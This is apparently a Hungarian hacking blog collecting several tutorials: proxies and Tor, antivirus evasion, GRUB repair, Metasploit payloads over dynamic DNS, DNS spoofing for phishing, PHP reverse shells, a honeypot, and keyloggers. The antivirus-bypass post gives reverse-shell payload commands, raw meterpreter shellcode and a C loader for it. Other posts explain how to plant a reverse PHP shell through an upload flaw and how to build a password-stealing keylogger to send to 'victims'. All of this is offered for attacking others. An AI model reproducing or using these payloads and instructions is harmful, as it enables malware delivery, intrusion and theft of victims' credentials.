Anonimitás a neten - Proxy szerverek

A proxy szerverek amolyan "közvetítőként" vannak jelen az online kapcsolatokban. Ha hozzájuk kapcsolódsz akkor ők annyit csinálnak hogy a kapcsolatot továbbítják a másik szerver felé, így minden adat rajtuk keresztül megy át. Miért is jó ez nekünk? Azért mert ha visszakeresik hogy kik kapcsolódtak az oldalhoz akkor a proxy szerver Ip címe fog látszódni és nem a miénk. Akkor is hasznos lehet hogyha szűrik a tartalmat hogy mit lehet megnézni. Egyszerűen keresel egy Https proxy-t, beállítod és akkor hiába szűrik a tartalmat, te titkosított csatornán keresztül kommunikálsz, nem tudnak szűrni.

Több fajta proxy szerver létezik.
Transparent Proxy:
Ez a fajta szerver annyit csinál hogy figyeli a 80-as és a 443-as portot és az azon átmenő adatforgalmat elemzi, tárolja. Semmilyen beállítást nem igényel a böngészőben a felhasználó tudta nélkül is működhet a hálózaton. Nem rejti el az Ip címünket.
Anonymous Proxy:
Ez a fajta szerver anonimitást biztosít felhasználóinak, ha hozzájuk kapcsolódunk elrejtik az ip címünket. A kommunikáció egy bizonyos porton történik, amikor hozzájuk kapcsolódunk akkor meg kell adni a portot is.
Reverse Proxy:
Ez a fajta szerver eltér a többitől, ugyanis ez nem kliens oldalon van hanem szerver oldalon. A felhasználók ezt látják és ez irányítja a kéréseket az intranet felé.

Nézzük meg hogy hogyan tudjuk beállítani a proxy-n keresztüli csatlakozást a böngészőnkben.
@Firefox:
Eszközök -> Beállítások -> Speciális -> Hálózat -> Beállítások -> Kézi proxybeállítás.

@Chrome:
Beállítások -> Speciális beállítások megjelenítése -> (Hálózat) Proxybeállítások módosítása -> Hálózati proxy -> Kézi

Proxy listák:
http://best-proxy-list-ips.blogspot.hu/
http://hidemyass.com/proxy-list/
http://proxy-list.org/en/index.php
http://www.proxynova.com/proxy-server-list


Felmerülhet a kérdés hogy mit kezdjek én most ennyi proxy-val? Honnan tudom hogy melyik gyors, egyáltalán hogy melyik működik? Mindegyiket le kell egyesével tesztelnem? NEM! :) Mások szerencsére már elvégezték a nehéz munkát.
HyMyAss Proxy Grabber-t fogom használni. Ez annyit csinál hogy kigyűjti a megadott oldalról(hidemyass.com-on belül) a proxy-kat ip:portszám alakban. Innen le lehet tölteni:
http://db.tt/YYmc3A4d
Használata:
grabber.exe -t [fileneve].txt -p [az oldal száma ahhonan le akarjuk menteni a proxy-kat]

És egy ilyen fájlt generál:

Proxy teszteléshez pedig a Proxy Checker nevű programot fogom használni. Letölthető innen:
http://proxy--checker.sourceforge.net/

A fájlt amit legeneráltunk az előző programunkkal tallózzuk be neki. [Read from file], majd kattintsunk a [Test] gombra, és várjuk meg amíg leteszteli az össze címet. Ha kész van akkor el tudjuk menteni a jó proxykat egy txt-be a [Save to file] gombbal.

Vannak még a teszteléshez online eszközök is, ezek közül néhány:
http://www.checker.freeproxy.ru/
http://www.proxy-checker.org/
http://incloak.com/proxy-checker/

A proxy-k mellett van egy másik megoldás, a Tor használata. Ez azért jó mert nem kell a proxy beállításokkal babrálni, Mindenkinek aki csatlakozni akar a hálózathoz le kell tölteni egy kliens programot. Letölthető innen: https://www.torproject.org/
A használata pofon egyszerű. Le kell tölteni a programot, megnyitni és a Start Tor gombra kattintani. Egy kicsit tölt de utána kapunk egy böngésző ablakot ahol már anoniman tudunk tevékenykedni. :)

AV - Bypass

A mai cikkben az antivírus megkerülésének (angolul AV Bypass) lehetőségeit fogom bemutatni, gyakorlati példákkal. Ahhoz hogy el tudjuk kerülni az antivírust először nézzük meg hogy hogyan is működik. A vírusirtók többsége úgynevezett szignatúra adatbázisokkal dolgozik, amikor vírusirtót frissítünk akkor kapjuk meg ezekből a legfrissebbeket. Minden fájlnak van szignatúrája. Ez két dologból áll. Egy ún. mágikus számból(magic number) ami a fájl legelején van, és a fájlnak a típusát jelöli. Pl.: A GIF képek mindig a GIF87a-nak vagy a GIF98a-nak az ASCII megfelelőjével kezdődnek. (tehát 717370565597,  vagy 717370565797) A másik dolog egy ellenőrző szám(checksum). Ez a fájl legvégén van, vagy egy külön fájlban. Egy algoritmus alapján generálódik, és hibák detektálására, biztonsági okokból használják(Látszik ha megváltozik a fájl). Az antivírusok tartalmazzák a káros kódoknak a mintáját, és összehasonlítják a fájlnak a mintáját az adatbáziséival. A valós idejű védelem a másik "fegyverük". Ez heurisztikán alapul ami annyit jelent hogyha valamelyik alkalmazás "gyanúsan" viselkedik pl.: kapcsolódni akar valahova, módosítani akar egy programot stb. azt a vírusirtó érzékeli. Mint láthatjuk azért van védelem. :) Nézzük meg hogy hogyan tudjuk ezeket kijátszani, megkerülni. Az AV Bypass-nak alapvetően 3 fő területe van. 1.: Társítás, darabolás.(Binding, splitting). 2.: Scriptté alakítás. 3.: Kód összezavarás.
1.Társítás, darabolás:
Binderek: Ezek a kis programok megváltoztatják a fájlnak az első bájtjait. Ezt úgy csinálják hogy kettő vagy több fájlt eggyé alakítanak. Amikor elindítjuk a fájl-t akkor mind a két(vagy több) program elindul, az egyik láthatóan a másik a háttérben. Pl.: Van egy videó lejátszó programunk, hozzá "bindelünk" egy backdoor-t és elküldjük az áldozatnak. A vírusirtó nem fog jelezni mert ott van a fájlnak a digitális aláírása.(a videó lejátszónak) Nézzünk gyakorlati példát. Készítsünk egy payload-ot.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -exe > payload.exe

Keressünk valami "hasznos" fájlt. Én a "bindeléshez"a Hotfusion bindert fogom használni. Letölthető innen:
http://download.cnet.com/Hotfusion-File-Binder/3000-2094_4-10895406.html
A programot nagy egyszerű használni. Az [Add File]-al tudunk fájlokat hozzáadni, ha hozzáadtuk a fájlokat a [Fuse]-ra kell kattintani.

 Mint láthatjuk létrejött a harmadik fájl.

Feltöltöttem virustotal-ra és látható hogy ezzel az egyszerű technikával már 13 vírusirtót tudtunk megkerülni.

 Térjünk át a splitterekre. Ezek is hasonló módon működnek csak nem egyesítik a fájlokat hanem több darabra darabolják. Én a HJSplit programot fogom használni. Letölthető innen:
http://www.hjsplit.org/windows/
Ennek is nagyon  egyszerű a kezelése. Meg kell neki adni a programot amit darabolni akarunk, a kimeneti fájl helyét, és azt hogy mekkora fájlokra darabolja az eredeti fájlt. 

Láthatjuk hogy szépen szét is darabolta a fájlunkat 4 darabra.

2.Scriptté alakítás:

Ha átalakítjuk az fájlunkat scriptté kisebb az esélye hogy a vírusirtók megtalálják. Visual Basic scriptté fogjuk alakítani az .exe fájlunkat. Azért VB mert ezt alapból tudja futtatni a Windows, nem kell hozzá külön fordító. Az exe2vbs megcsinálja helyettünk. Innen le tudjuk tölteni:

http://packetstormsecurity.com/files/24527/exe2vbs.zip.html

A baj ezzel hogy csak nagyon kis fájlokat tudunk vele konvertálni. De mint láthatjuk megéri, mert elég jó eredményt kaptunk.

Itt van egy másik megoldás, ez egy metasploit script, ezt nem teszteltem le:
https://github.com/lattera/metasploit/blob/master/tools/exe2vbs.rb

3.Kód összezavarás:
Ez a legkifinomultabb technika. Annyiból áll hogy mint ahogy a nevében is benne van össze fogjuk zavarni a kódot. Titkosítjuk, stb. Ehhez is vannak nagyon jó kis programok. Ezekből fogok most bemutatni néhányat, utána pedig megnézzük hogy hogy lehet "kézzel" titkosítani a kódot! :)
AVoid:
Letölthető innen: https://github.com/nccgroup/metasploitavevasion
Ez a kis script az msfencode-ot használja egy két finomítással. A használatához telepíteni kell a mingw32 fordítót. Ha nincs feltelepítve az alábbi paranccsal tudjuk telepíteni:

apt-get install mingw32

A használatára külön nem térnék ki mert nagyon egyszerű. És mint láthatjuk a detektálási arány is elég jó: (a http://vscan.novirusthanks.org oldalt használtam mert ez nem teszi közzé a sample-t)
http://vscan.novirusthanks.org/analysis/bd296119392b0c4b17dd17f2be5aa67d/c2FsYXJpZXMtZXhl/

Itt még meg kell említenem az ún. Cryptereket. Ezeknek két fajtája van UD(undetectable) és FUD(fully undetectable). Én az Aegis Cryptert fogom használni. Letölthető innen: http://www.aegiscrypter.com/
Ez egyébként binder-t is tartalmaz, meg még sok egyéb kis extrát... :)

Sajnos a publikus verzióval nem lehet elérni FUD-ot. De azért ez sem olyan rossz eredmény:

http://vscan.novirusthanks.org/analysis/e2135939bc9491ca6722be8776493f24/cGF5eXktZXhl/

Na és most nézzük hogy hogy lehet "kézzel" készíteni egy 0/46-os payloadot.

FUD Payload 0.1:
A metasploit beépített titkosító alkalmazását fogjuk használni, az msfencode-ot. 

root@kali:# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 R | msfencode -t exe -o listener.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

Látszik hogy ez elég gyenge, 35/45:

Hol lehet a baj? Titkosítottuk a fájlunkat, mégis ilyen rossz eredményt kaptunk! Az az ok hogy a vírusirtók ismerik az msfencode által gyártott fájlok szignatúráját.
Ezt mi sem bizonyítja jobban mint az alábbi kis kísérlet. Titkosítsunk msfencode-al egy sima fájlt!

root@kali:# echo simafile | msfencode -e generic/none -t exe > plain.exe [*] generic/none succeeded with size 9 (iteration=1)

Láthatjuk hogy semmilyen káros kód nincs a fájlban mégis ilyen eredményt kaptunk.

FUD Payload 0.2:
Most egy egyszerű kis C program segítségével összezavarjuk a fájlunkat. Először is generáljuk le a véletlen karaktereket:

root@kali:# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c1028

Ezután készítsük el a Meterpreter kódunkat:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t c -a x86 -b '\x00\x0a\x0d' -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
unsigned char buf[] =
"\xbd\x72\xa8\xa9\x1b\xdb\xd0\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x64\x31\x6e\x14\x03\x6e\x14\x83\xc6\x04\x90\x5d\x72\xc1\x8d"
"\xea\xa1\x02\x97\xa0\xe7\x9b\x46\x9d\xdc\x92\x39\x7f\xa0\xce"
"\xc5\xb1\xf5\x06\x36\xe1\xef\xc4\x7e\x91\x84\x71\xa2\x9a\x07"
"\x41\x29\xa4\x63\x76\x18\x3e\x18\xfd\x1c\x64\x02\xfa\x23\xd9"
"\x48\x7d\x61\x2e\xc6\x0e\x41\x2c\x1c\x72\xb9\xe9\xbd\x18\x5d"
"\x20\x70\xbb\xa6\xda\x03\x7d\x57\xa9\x52\xd4\xd5\x6d\xe1\xd2"
"\x17\x67\xa3\xf0\x3d\x56\xd7\x61\xe5\x92\x87\xf8\x9a\xe5\x0e"
"\x99\x40\x74\xc2\x8e\x3d\x6a\x06\xc9\x8f\xdf\x41\xc0\xb1\xd5"
"\x46\xbd\xf6\xa8\xb3\x34\x1d\x60\xe3\x18\x87\xc4\xf4\xff\x3f"
"\x64\xff\xa4\xb5\xe0\x05\x2b\xa2\x2a\x91\x48\x9a\x16\x16\xec"
"\xf3\x4c\x36\x37\x36\xfc\xfa\xdd\xb3\x5c\xc8\x9e\xb8\xe9\xa6"
"\x2f\xb3\x18\x32\x3c\xde\x23\xfa\x86\x86\xfa\xa8\x29\xd7\x69"
"\xe6\x60\xac\x81\xf4\xb4\x6a\x4c\xff\x1b\x46\x04\xbd\xab\x3a"
"\xb3\x86\x29\xe5\x7c\xd9\xc5\x1e\xed\xa9\xeb\x80\xf9\x67\x27"
"\x2f\x09\xaa\x43\x33\xf0\x58\x5b\x8c\x3a\xce\x37\x37\x67\xbe"
"\x84\x24\xd8\x96\x9e\x90\x8f\xa5\x03\x26\xb5\x77\x0c\x22\x7e"
"\x7e\x34\xbc\xef\xc9\x90\x2e\xc0\x40\x8f\x45\x1a\x05\x61\xda"
"\x17\x86\x12\x0c\x63\x6a\x5b\xbe\xe1\xf0\xaf\xad\x54\x7b\xf5"
"\x0b\x8b\x82\xba\xd7\xf1\xb0\xe2\xf9\x6a\x7a\x4b\x12\xd9\xa4"
"\x82\x2c\xf7\xea\xad\x68\x38\xd6\x54\x5b\x10\xa9\xec\x30\xce"
"\xc4\xc6\x24\xd0\xb0\x97\x62\x16\x48\x08\x37\x41\xe9\xe0\xb0"
"\x51\x2a\xef\x5a\xaf\x55\xf1\x64\x94\xcf\x95\xe2\xcb\x3e\x29"
"\x07\x49\xf7\x26\xcc\xfc\x8d\xcd\x95\xa6\xec\x1f\xbd\x9c\x8d"
"\xed\xab\x8b\x9f\xb3\xf7\x3b\x6f\xa9\x01\x82\x91\x62\x2d\x60"
"\xda\x05\xcd\xad\x52\x49\x02\x30\x07\xfa\xb8\x07\x1b\x81\x70"
"\x70\x64\x79\x74\x17\x7e\x7d\x67\x10\xc3\xbd\xe8\x76\x76\xbd"
"\x36\x10\xc8\xce\xb8\x94\x89\xb7\x22\x0f\x3e\x74\x36\x03\x9e"
"\x8a\xd4\xd8\xa5\xb1";

Ezután rakjuk be az egészet a mi kis egyszerű C programunkba, és mentsük el, fordítsuk le, és kész is vagyunk. :)

// Ide jönnek a random karakterek
unsigned char padding[]=
;
// A Meterpreter kód ide
unsigned char payload[]=
;
// Betöltjük a Meterpretert a memóriába
int main(void) { ((void (*)())payload)();}

Én egész jó eredményt kaptam: :)
http://vscan.novirusthanks.org/analysis/91817146cba8208c16a2b9c48f2b4064/YmFzZS1leGU=/

Nagyon sok eszközt teszteltem, de kb. hasonló eredményeket kaptam mint az AVoid-nál.
Böngészésére ajánlom még az alábbi linkeket:
Marosi Attila előadása a 2013 Ethical Hacking Konferencián(Ez az előadás ihlette a cikket):
https://www.youtube.com/watch?v=xv7kBwEVym0&list=PL2JHKW_jNuVso0feHjm92N0jl8eDE4Iru&index=4

Veil:(Ez egy nagyon jó kis eszköz, az egyetlen ok amiért nem raktam bele a cikkbe mert nem tudtam működésre bírni sem a py2exe-t, sem a pyinstaller-t a linuxomon... :( de érdemes megnézni!)
https://github.com/ChrisTruncer/Veil
UPDATE! Azóta sikerült működésre bírnom, és cikk is született róla. :)

Crypter.py:
http://www.securitytube.net/video/4223
http://www.mediafire.com/?55q2zisjxif3ez4

Metasm AV Bypass:
http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/

XOR encrypt:
http://www.securitytube.net/video/2863
A videó fájlai: http://pastebin.com/eyLPeXN3

AV Sandbox Evasion:
http://funoverip.net/2012/07/antivirus-sandbox-evasion-part3/

Bypassing Symantec Endpoint Protection:
http://sector876.blogspot.hu/2013/03/av-bypass-symantec-endpoint-protection.html
http://pastebin.com/axAE0XEe

Shellcodeexec:
http://bernardodamele.blogspot.hu/2011/04/execute-metasploit-payloads-bypassing.html
https://github.com/inquisb/shellcodeexec

A Grub helyreállítása

A napokban nekem is sikerült elrontanom a grub-omat, de szerencsére megcsinálni is. Ezt szeretném most veletek megosztani. Nézzük is az alap szituációt: Volt egy Kali Linuxom felrakva, meg egy Win7 dual boot-ban. Tudjátok milyen a Win7 bizonyos időközönként újra kell rakni... Na nálam ez épp most volt. Újra is raktam szépen ahogy a nagy könyvben meg van írva, de felülírta az MBR-t (Master Boot Record) ahol eddig a Grub-om csücsült. Erre nem is gondoltam... Gyorsan mentem fel a netre hogy mit lehet ilyenkor csinálni. Találtam is pár megoldást, de egy se működött nekem. (Az alapja mindegyiknek az volt hogy boot-olj be a ubuntu live cd-ről és onnan helyre tudod állítani.... Nekem ez így nem ment. :/) Végső elkeseredésemben már úgy voltam hogy inkább újrarakom a Kali-t, üsse kő. De aztán ráleltem erre az oldalra: http://www.supergrubdisk.org/ Erről annyit kell tudni hogy ez is olyan mint egy live-cd. Lényegében egy live-grub, ahonnan be tudsz boot-olni a linuxodra és onnan helyre tudod állítani a grub-odat. Na nézzük hogy én hogy csináltam.
1. Kiírtam a Super Grub2 Disk-et egy pendrive-ra.(win32 disk imager-rel)
2. Bebootoltam róla, és a [Detect any Operating System] menüpontot választottam.

3. Kiválasztottam a Kali Linuxomat, szépen be is boot-olt.
4. Nyitottam egy Terminált, és beírtam grub-install /dev/sda szépen fel is telepítette.
5. A következő probléma az volt hogy most meg a windows-t nem látta. De ezt a következő parancsokkal meg lehetett oldani:
os-prober
update-grub

És mostmár újra szépen megy minden. :) Remélem hogyha ilyen bajotok van akkor nektek is sikerül!

Metasploit payload No-IP-vel

A mai cikkben azt fogjuk megnézni hogy hogy lehet elkészíteni egy olyan payload-ot ami no-ip keresztül fog visszacsatlakozni hozzánk. Mi is ez a no-ip?
Ez egy dinamikus dns szolgáltató ami már 1999 óta működik. A lényege az hogy a modemünk mindig új ip címet kap, ezért pl. ha egy web-szervert akarunk futtatni otthon akkor mindig változtatgatni kéne az elértést, mert az ip is változik. A No-ip segítségével viszont regisztrálunk magunknak egy domain-t amit mindig a mi ip címünkhoz rendel egy kliens szoftver segítségével, amit le kell tölteni. Ez azért lesz jó nekünk mert ha elkészítjük a payloadunkat akkor annak is meg tudjuk adni a no-ip címünket, és mindig a legfrisebb ipnkez fog visszacsatolni... Nézzük a lépéseket:
1.Regisztrálunk a noip.com-ra.

 2.Beállítjuk a domain címünket, az ip-címünk automatikusan hozzárendelődik.

 3.Letöltjük a klienst. (http://www.noip.com/downloads.php?page=linux)

 4.Kicsomagoljuk a .tar fájlt. tar xzf [filenev].tar.gz

 5.Feltelepítjük a kliens-t a make install paranccsal, és beállítjuk a fiókunkat.

 6.Elkészítjük a payloadunkat.

7.Engedélyezzük a 4444 portot a routerünkben.

8.Beállíttjuk a "handlert" ami a payload kapcsolódását várja.

Ha valaki megnyitja a payloadunkat akkor kapunk egy meterpreter shellt. :)
Ennyi lenne...

Hackelés firefox kiegészítővel -1-

Ebben a cikkben egy elég új támadással fogunk foglalkozni. Én ennek a megvalósítását fogom reprezentálni. Szóval az alap koncepció az lenne hogy van egy olyan oldal amit ha megnyit az áldozat, akkor ahhoz hogy a tartalmat meg tudja tekinteni fel kell telepítenie egy böngésző kiegészítőt. Ez a kiegészítő utána biztosít nekünk egy meterpreter shellt. Itt is van a bemutató videó:

Kali linux alatt Virtualbox telepítés

Most azt fogom reprezentálni hogy hogyan lehet felrakni Kali alatt a Virtualboxot. Aki nem tudná ez egy virtualizációs eszköz, magyarul tudsz Linux alatt is Windows-t futtani meg Windows alatt is Linuxot...
Először is töltsük le a .deb csomagot a virtualbox oldaláról:
http://download.virtualbox.org/virtualbox/4.2.16/virtualbox-4.2_4.2.16-86992~Debian~wheezy_i386.deb
Lépjünk át rendszergazda módba! (su)

Telepítsünk fel először egy könyvárat:

apt-get install libqt4-openg

Ezután még egyet, enélkül nem menne:

apt-get install dkms

Ezután telepítsük a csomagot az alábbi parancsal:

dpkg -i virtualbox-4.2_4.2.16-86992~Debian~wheezy_i386.deb

Ez most olyan egyszerűnek tűnik de én sokat kínlódtam vele... Remélem nektek már nem kell. :)

DNS Spoofing

Mi is ez a DNS Spoofing? Sőt mi az a DNS? Nem megyek bele annyira a témába mert nagyon nagy a téma. Akit nagyon érdekel az itt utána olvashat:
https://hu.wikipedia.org/wiki/Domain_Name_System
Annyit azért megemlítek hogy: DNS - Domain Name System, lényegében az internet telefonkönyve. A fő feladata hogy a   tartománynevekhez (domainekhez) hozzárendje a számítógépeket/szervereket. Például a www.example.com nevű domainhoz a 192.0.32.10 IP tartozik(IPv4). Amit még jó hogyha tudunk hogy a DNS szerverek az 53 porton futnak. (UDP, TCP) Térjünk át a DNS Spoofing-ra. Vegyük sorra hogy mit fogunk csinálni a támadás során.

1.Létrehozunk egy phising oldalt a saját szerverünkön.
2.Lecseréljük a kiszemelt tartománynévhez tartozó címet a saját szerverünk címére.
3.Várunk hogy az áldozat megnyissa a tartománynevet.(pl.:facebook.com)
4.Ha megnyitja akkor a mi phising oldalunkat fogja látni.

Készítettem egy videót amiben ezeken a lépéseken mentem végig sorban:

Reverse PHP Shell használata

Üdv nektek!
Most a Reverse PHP Shell használatát fogom leírni. Szóval mire is jó ez?
Tegyük fel hogy találtál egy olyan oldalt ahol van egy fájlfeltöltési hiba... Ilyen esetekben nagyon hasznosak tudnak lenni ezek a shellek, ugyanis egyből szinte admin jogokkal tudunk tevékenykedni a szerveren a feltöltésük után.
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
Innen le lehet tölteni egyet.
Most kezdhetjük konfigurálni, hogy a mi gépünkhöz nyisson vissza. Nyisd meg notepaddal vagy valami szövegszerkesztővel és a(z) $ip='' részhez az idézőjelbe ird be az ip címed a $port részhez írd be a portot,hogy milyen porton nyisson vissza. :)

Aztán ha kész a konfigurálás akkor mentsd el, és most már csak annyit kell csinálni,hogy feljuttatod az oldalra és lefuttatod. :)
Még mielőtt lefuttatnád netcat-el kezdj el hallgatózni azon a porton amit megadtál. nc -lvp port
pl: nc -lvp 1234
Aztán futtasd le a a shellt a szerveren és már bent is vagy mert kaptál egy command shell-t a célpont gépen. Ha ezt a jelentést kapod: /bin/sh: can't access tty; job control turned off akkor írd be,hogy bash és már lehet is szórakozni.. :)
Videó:

HoneyPot

Most a honeypotokról fogok írni. Mire is jó ez?
A honeypotokat általában infó gyűjtésre használjuk, mondjuk gyors ip cím szerzésre stb. Vagy mondjuk nem tudjuk az ip-t, nem tudjuk milyen OS fut a gépen stb. ezt ki lehet deríteni elég könnyen. Komoly honeypot programok,elég könnyen meg tudják mondani azt is,hogy honnan nézték meg és még a host nevet is lekérni és így tovább. Amit most fogok mutatni nem annyira komoly honeypot, de célnak megfelel ezzel is lehet ip címet szerezni meg minden....
Most a PentBox nevű programot fogjuk használni amiben vannak hasznos kis dolgok. :)
PentBox.org de a sourceforge.net-en is megtalálod van windowsra is meg linuxra is de tudjátok,hogy én inkább linux párti vagyok. :D
Indítsd el a progit és ird be egy kettest(Network tools) aztán egy hármast(Honeypot) aztán egy kettest(Manual Configuration [Advanced Users, more options]),hogy te akarod konfigurálni és írj be egy portot mondjuk a 80-as jó lesz mert ha valaki megnézi akkor egyből jön a infó. :)
De nekem a 80-as porton fut egy xampp úgy, hogy én mást fogok beállítani. Ezután állítsd be azt, hogy milyen üzenet jelenjen meg annak aki megnézi az oldalt. Ne használj ékezetes karaktereket mert nem tudja kiírni.
Ezután megkérdi,hogy mentse-e egy logba azt amit talál, nekem most nincs szükségem erre úgyhogy én n-t irok. Ha ez megvan akkor megkérdezi, hogy aktiválod-e a beep hangot vagyis ha megnézi valaki az oldalt akkor sípol egyet a gép. Nekem most ez sem kell. Kész is vagyunk mostmár aktív a honeypot, próbáljuk ki! :) Ha más portot állítottál be mint 80 akkor igy kell megnézni.. pl: nemtom:50 (a nemtom csak példa (nooboknak)) :D
ha 443-as porton fut akkor https://nemtom/

Ennyi lenne remélem érthető volt kösz,hogy elolvastad. :)
Itt egy videó a honeypotokról, én csináltam:

Keyloggers - Billentyűzetfigyelők

A mostani cikkben a billentyűzetfigyelőkről (keyloggers), kémprogramokról lesz szó. Az interneten számos programot lelhetünk fel ebben a kategóriában. Ezek közül szeretnék kiemelni párat a jobbak közül. Két alapvető billentyűzetfigyelő típust ismerünk: hardvereset, és szoftvereset. A hardveres keyloggert a billentyűzet és a számítógép közé kell csatlakoztatni.

Lehet kapni PS/2-es, és USB-s csatlakozósokat is. Az ár attól függ hogy milyen nagy a belső memóriájuk. Az adatokat már emailben is képesek elküldeni. A régebbi típusok még úgy működtek hogy beléptél mondjuk a szövegszerkesztőbe és beírtál egy kódot, és akkor ugrott fel az "admin panel". A kódot az első használat során kellett megadni... Akit jobban érdekel a téma, esetleg vásorolni szeretne, az ezen a linkeken nézzen körül:
http://www.keelog.com/
http://www.vatera.hu/listings/index.php?q=keylogger&c=0

Térjünk át a szoftveres billentyűzetfigyelő alkalmazásokra. Ezek amellett hogy figyelik a billentyűzetleütéseket képesek megadott időközönként képernyőképet készíteni, a nyomtatott dokumentumokat is elmentik, a mentett adatokat emailben elküldik, esetleg ftp-n keresztül feltöltik valahova, egyszóval többet tudnak mint a hardveres társaik. A legtöbb ilyen program rejtett üzemmódban is tud futni, tehát a start menüben, vagy a tálcán nem láthatjuk őket(Nem rootkit módban futnak, a Program Files-ban lehet őket látni).
Én most inkább az érdekesebb programokkal foglalkoznék. Az ilyen next-next-next típusú könnyen feltehető programokhoz sztem nincs értelme tutorialt csinálni. Itt van pár link aki nem ismerne egyet sem:
http://www.refog.hu/ http://www.ardamax.com/keylogger/ http://elite-keylogger.keyloggers.com/review.html
Én most a Dracula Logger-t fogom bemutatni. A futtatáshoz a legfrisebb .NET Framework-ot kell letölteni. Ez már egy kicsit összetettebb program. Hasonlóan működik egy trójaihoz. Csinálsz egy szervert, azt elküldöd az áldozatnak, vagy lefuttatod a gépén és nem kell semmit telepíteni automatikusan elrejti  magát, és küldi a logokat a készítéskor megadott címre. Innen tudod letölteni:
http://www.mediafire.com/download/wosdcvjc9e289l9/Dracula+Logger.rar
(Jelszó:!dracula!)
Ha  megnyitjuk a "Builder"-t akkor ezt a képet kapjuk, ahol rögtön meg is tudjuk adni az email címünket, az email jelszavát, az SMTP szerver-t, azt hogy milyen titkosítást használjon. Ha beállítottuk az emailt érdemes küldeni egy teszt email-t a programmal. Állítsuk át mert automatikusan 15-öt akar küldeni, nekünk elég lesz egy is. Utána katt. Test Email, és nézzük meg a fiókunkat hogy valóban megkaptuk e. 

 A következő oldalon be tudjuk adni hogy milyen alkalmazásokból lopjon jelszavakat, és azt hogy miket tiltson le. Nekem most elég volt hogy a Feladatkezelőt letiltsa.

 A következő oldalon még be tudunk néhány dolgot állítani, ami fontos [Add to Startup] ezzel hozzáadjuk az automatikusan induló programokhoz, én még bejelöltem hogy [PC Info] így fogok kapni a gépről is egy kis infót, milyen oprendszert használ, felhasználó név stb.

 A következő oldalon az első futáskor tudunk egy hibaüzenetet generálni mintha nem futott volna le rendesen az alkalmazásunk, pedig lefut... ;)

 A következő oldalon be tudjuk állítani hogy keverje össze a kódot, így nehezebben fogják felismerni a vírusírtók, utána meg kell adni a program nevét, be tudunk még állítani icon-t is hozzá, és hozzá tudjuk "bindelni" egy másik programhoz, így azzal a programmal együtt ez is le fog futni...

 Ha minden jól ment akkor ezt fogjuk kapni... Utána már csak el kell küldeni az áldozatnak a progit, és rávenni hogy lefuttassa... :)

Ha lefuttatta az áldozat a programot, utána folyamatosan fogjuk kapni a logokat az email címre amit megadtunk.